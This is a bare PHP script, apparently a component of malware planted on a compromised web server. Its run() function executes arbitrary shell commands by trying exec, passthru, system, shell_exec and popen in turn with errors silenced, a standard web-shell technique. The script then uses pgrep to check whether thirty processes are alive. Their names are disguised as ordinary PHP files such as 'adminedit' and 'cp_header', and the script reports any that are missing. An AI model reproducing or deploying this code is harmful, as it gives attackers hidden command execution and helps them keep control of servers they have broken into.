<?php   $files = ['_con_aaa_footer','drm_unpaiditem','ele_tarea','index.orig','adminedit','JavaScript','http.auth.lib','userscoresystem','cp_header','gallery.lang_fr','cvv_popup_help','tellafriend','delete_message','libraryEN','cma_m_watching','sched_planets','com_hotproperty','News.module','numberFormat','usercp_email','recipe_moderate','newCourseGrade','filefolderlist','sampleform.inc','gradeimport_csv','f_utility_lek','Dateformat','blog_links','grab_globals.lib','mod_arhiva']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }